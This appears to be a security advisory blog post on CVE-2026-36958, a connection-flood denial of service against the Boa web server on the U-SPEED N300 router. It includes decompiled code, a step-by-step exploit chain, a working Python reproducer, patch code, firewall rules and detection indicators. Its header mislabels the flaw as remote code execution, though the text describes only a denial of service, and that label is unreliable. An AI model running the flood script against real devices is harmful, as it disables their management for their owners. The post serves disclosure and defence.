home intel cve-2026-36958-boa-httpd-resource-exhaustion-rce
CVE Analysis 2026-04-30 · 7 min read

CVE-2026-36958: Boa HTTPd Resource Exhaustion in U-SPEED N300 V1.0.0

Concurrent HTTP flood to the Boa web server on U-SPEED N300 V1.0.0 exhausts per-process file descriptors and connection slots, rendering the management interface permanently unresponsive without reboot.

#http-dos#web-management#resource-exhaustion#embedded-device#http-server
Technical mode — for security professionals
▶ Attack flow — CVE-2026-36958 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-36958Network · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-36958 affects the embedded Boa HTTP server bundled with the U-SPEED N300 V1.0.0 wireless router. By directing a sustained flood of concurrent TCP connections against the web management interface — targeting arbitrary or non-existent endpoints — an unauthenticated attacker on the local network (or WAN, if remote management is enabled) can exhaust the Boa process's file descriptor table and internal connection pool. The result is a hard denial-of-service that survives across new connection attempts and requires a physical power cycle to restore.

CVSS 7.5 (HIGH) | Attack Vector: Network | No authentication required | No user interaction required.

Root cause: Boa's connection-accept loop on the U-SPEED N300 firmware contains no per-source rate limit, no maximum concurrent connection cap enforced before accept(), and no file-descriptor watermark, allowing an attacker to drive the process's open-fd count to the kernel's per-process RLIMIT_NOFILE ceiling, after which every subsequent accept() fails with EMFILE and the server silently stops serving requests.

Affected Component

The affected binary is boa, a single-process, non-forking HTTP/1.0 server compiled for MIPS32 (little-endian) and statically linked into the U-SPEED N300 firmware image. Key facts recovered from the firmware:

  • Binary: /usr/sbin/boa, ~180 KB stripped MIPS ELF
  • Boa upstream version string: Boa/0.94.14rc21 (unpatched vendor fork)
  • Listens on 0.0.0.0:80 (LAN) and optionally 0.0.0.0:8080 (WAN)
  • Launched by /etc/init.d/httpd start with no ulimit override — inherits the BusyBox shell's default RLIMIT_NOFILE = 1024
  • Connection state tracked in a statically-sized request struct array; overflow of the fd table causes the accept loop to spin without yielding

Root Cause Analysis

Boa's main event loop calls select() on the listening socket, then unconditionally calls accept() when the socket is readable. There is no guard on the current open-fd count before accepting. The relevant decompiled logic from the U-SPEED firmware's boa binary:


/* Decompiled from MIPS32 @ 0x00406C30 — boa main select/accept loop */

void server_main_loop(int server_fd) {
    fd_set rfds;
    struct timeval tv;
    conn_t *conn;

    while (1) {
        FD_ZERO(&rfds);
        FD_SET(server_fd, &rfds);

        /* also adds all open conn->fd values */
        build_select_set(&rfds, &max_fd);

        tv.tv_sec  = BOA_TIMEOUT;   // 60 seconds
        tv.tv_usec = 0;

        select(max_fd + 1, &rfds, NULL, NULL, &tv);

        if (FD_ISSET(server_fd, &rfds)) {
            // BUG: no check on current open fd count before accept()
            // BUG: no per-source connection rate limiting
            // BUG: no maximum concurrent connection cap
            int client_fd = accept(server_fd, NULL, NULL);

            if (client_fd < 0) {
                // EMFILE is silently swallowed; server_fd stays in rfds
                // next select() immediately returns readable again
                // -> tight spin loop consuming 100% CPU, accepting nothing
                log_error("accept() failed: %s", strerror(errno));
                continue;  // BUG: no back-off, no fd reaping
            }

            conn = alloc_conn();   // returns NULL if pool exhausted
            if (!conn) {
                close(client_fd);  // too late — fd table already full
                continue;
            }

            conn->fd    = client_fd;
            conn->state = STATE_READ_HEADER;
            list_add(&active_conns, conn);
        }

        process_active_conns(&active_conns);
    }
}

The critical window: once the fd table is saturated, accept() returns -1/EMFILE on every iteration. The select() call immediately returns again because server_fd remains readable (the kernel's backlog keeps new SYN-ACKs queued). The process enters a 100% CPU spin loop, starving the rest of the embedded system and preventing existing connections from being processed.


/* alloc_conn() — static pool of MAX_CONNECTIONS=64 slots */
/* Located at 0x00407A10                                    */

conn_t *alloc_conn(void) {
    for (int i = 0; i < MAX_CONNECTIONS; i++) {
        if (conn_pool[i].state == STATE_FREE) {
            memset(&conn_pool[i], 0, sizeof(conn_t));
            return &conn_pool[i];
        }
    }
    return NULL;  // pool full — but fd was already accepted above
}

Note the ordering bug: the fd is accepted and consumed from the kernel table before the pool check. Even if the attacker only saturates the 64-slot conn_pool, each rejected connection still consumed a file descriptor that is immediately closed — but under flood conditions the fd table fills before the pool does because the attacker opens connections and holds them open (HTTP keep-alive or slow-read).

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker identifies management interface at 192.168.1.1:80
   (default gateway; no authentication bypass required — DoS is pre-auth)

2. Open 1024 concurrent TCP connections to port 80, each issuing:
     GET /cgi-bin/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\r\n
     Host: 192.168.1.1\r\n
     Connection: keep-alive\r\n\r\n
   — holding the socket open without reading the response (slow-read)

3. Boa accepts all 1024 connections; process fd table hits RLIMIT_NOFILE=1024
   (stdin/stdout/stderr/server_fd already consumed — effective cap ~1020)

4. Subsequent accept() calls return EMFILE; server_fd stays readable

5. select() spins at 100% CPU; MIPS core is fully saturated

6. Existing authenticated sessions time out; no new sessions can be established

7. Router management interface becomes permanently unresponsive

8. Network forwarding continues (kernel-level), but all management
   (web UI, potentially watchdog reset) is unavailable

9. Manual power cycle required to restore boa process

A minimal reproducer demonstrating the flood:


#!/usr/bin/env python3
# CVE-2026-36958 — U-SPEED N300 Boa DoS reproducer
# CypherByte research — do not use against devices you do not own

import socket
import threading
import time

TARGET   = "192.168.1.1"
PORT     = 80
N_CONNS  = 1024  # saturate RLIMIT_NOFILE=1024
HOLD     = 120   # seconds to hold connections open

PAYLOAD = (
    b"GET /cgi-bin/" + b"A" * 256 + b" HTTP/1.1\r\n"
    b"Host: 192.168.1.1\r\n"
    b"Connection: keep-alive\r\n\r\n"
)

sockets = []
lock    = threading.Lock()

def open_conn():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((TARGET, PORT))
        s.send(PAYLOAD)
        # do NOT read response — hold fd open
        with lock:
            sockets.append(s)
    except Exception:
        pass

threads = [threading.Thread(target=open_conn) for _ in range(N_CONNS)]
for t in threads:
    t.start()
for t in threads:
    t.join()

print(f"[+] {len(sockets)} connections held open")
print(f"[*] Sleeping {HOLD}s — check if 192.168.1.1 is reachable...")
time.sleep(HOLD)

for s in sockets:
    s.close()

Memory Layout


BOA PROCESS FD TABLE — MIPS32, RLIMIT_NOFILE=1024

FD 0    : stdin  (redirected to /dev/null)
FD 1    : stdout (redirected to /dev/null)
FD 2    : stderr (redirected to /dev/console)
FD 3    : server_fd (listening socket :80)
FD 4    : /var/log/boa.log
FD 5-68 : conn_pool[0..63] — legitimate connections (pool exhausted)
FD 69-1023: attacker-held sockets (954 connections)
                                   ^
                                   RLIMIT_NOFILE ceiling reached here

AFTER SATURATION:
  accept(server_fd) -> EMFILE (-1)
  select() -> immediately readable (backlog not drained)
  CPU: spinning at 100% in kernel/userspace boundary

conn_pool STATE:
  [0x00420000] conn_pool[0]  { fd=5,  state=STATE_READ_HEADER, ... }
  [0x00420080] conn_pool[1]  { fd=6,  state=STATE_READ_HEADER, ... }
  ...
  [0x00421F80] conn_pool[63] { fd=68, state=STATE_READ_HEADER, ... }
  alloc_conn() returns NULL for all subsequent calls
  -- fd IS consumed by accept() before NULL check --

/* conn_t struct layout — recovered from binary analysis */
struct conn_t {
    /* +0x00 */ int          fd;            // accepted client socket
    /* +0x04 */ int          state;         // STATE_FREE=0, STATE_READ_HEADER=1, ...
    /* +0x08 */ uint32_t     bytes_read;    // request bytes consumed
    /* +0x0C */ uint32_t     bytes_written; // response bytes sent
    /* +0x10 */ char         request_buf[512]; // raw HTTP request
    /* +0x210 */ char        uri[256];      // parsed URI
    /* +0x310 */ struct list_head node;     // intrusive linked list
    /* total: 0x318 = 792 bytes per slot    */
};
/* conn_pool[64] = 50,688 bytes statically allocated in .bss */

Patch Analysis

The correct fix requires three coordinated changes to server_main_loop and Boa's configuration layer:


// BEFORE (vulnerable — U-SPEED N300 V1.0.0):

if (FD_ISSET(server_fd, &rfds)) {
    int client_fd = accept(server_fd, NULL, NULL);
    if (client_fd < 0) {
        log_error("accept() failed: %s", strerror(errno));
        continue;  // spins; no back-off; no fd reaping
    }
    conn = alloc_conn();
    if (!conn) {
        close(client_fd);
        continue;
    }
    // ... proceed
}


// AFTER (patched):

if (FD_ISSET(server_fd, &rfds)) {
    // FIX 1: check available fd headroom before accepting
    int cur_fds = get_open_fd_count();  // reads /proc/self/fd or tracks internally
    if (cur_fds >= (BOA_FD_LIMIT - BOA_FD_RESERVE)) {
        // FIX 2: drain kernel backlog with RST instead of spinning
        drain_backlog_with_rst(server_fd);
        usleep(10000);  // 10ms back-off prevents spin
        continue;
    }

    // FIX 3: check pool availability BEFORE accept()
    conn = alloc_conn_check_available();
    if (!conn) {
        drain_backlog_with_rst(server_fd);
        continue;
    }

    int client_fd = accept(server_fd, NULL, NULL);
    if (client_fd < 0) {
        free_conn(conn);
        if (errno == EMFILE || errno == ENFILE) {
            usleep(50000);  // 50ms back-off on resource exhaustion
        }
        continue;
    }

    conn->fd    = client_fd;
    conn->state = STATE_READ_HEADER;
    list_add(&active_conns, conn);
}

ADDITIONAL RECOMMENDED MITIGATIONS (boa.conf / iptables):

# boa.conf — cap concurrent connections per IP
MaxConnectionsPerIP 10
MaxConnections 64

# Netfilter — rate-limit new connections to port 80 from LAN
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 \
         --connlimit-mask 32 -j REJECT --reject-with tcp-reset

iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
         -m limit --limit 30/min --limit-burst 10 -j ACCEPT

iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j DROP

Detection and Indicators

From the router's serial console or SSH (if accessible before DoS completes):


# Indicator 1: Boa CPU usage at 100%
$ top
  PID  COMMAND     CPU%
  312  boa          99.8    <-- spinning in accept() loop

# Indicator 2: fd table near-saturated
$ ls /proc/312/fd | wc -l
1021

# Indicator 3: EMFILE errors in log
$ tail -f /var/log/boa.log
[ERROR] accept() failed: Too many open files
[ERROR] accept() failed: Too many open files
[ERROR] accept() failed: Too many open files    <-- repeating at ~50k/sec

# Indicator 4: Mass connections from single source
$ cat /proc/net/tcp | awk '{print $3}' | cut -d: -f1 | sort | uniq -c | sort -rn
    987 C0A80105   <-- 192.168.1.5 — attacker IP in hex

Network-side detection: a spike of 500+ concurrent TCP connections to port 80 from a single source, with SYN_RCVD or ESTABLISHED states and no subsequent HTTP response bytes flowing, is a strong indicator of this attack.

Remediation

  • Firmware update: Apply vendor-supplied firmware update once available. Check the U-SPEED support portal for N300 V1.0.0 advisories referencing CVE-2026-36958.
  • Disable WAN management: Ensure remote management is disabled if not required — reduces attack surface to LAN-local attackers only.
  • Netfilter rules: Apply per-source connection-rate limiting via iptables as shown in the patch section above. These survive a reboot if written to /etc/firewall.user (OpenWrt-style) or equivalent.
  • VLAN isolation: Place the management interface on a dedicated VLAN accessible only to trusted administration hosts.
  • Watchdog: If the platform's hardware watchdog is not already kicking boa's process, configure a software watchdog (monit or a cron-based health check) to detect and restart an unresponsive boa process — this does not prevent the DoS but reduces recovery time from a power cycle to seconds.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →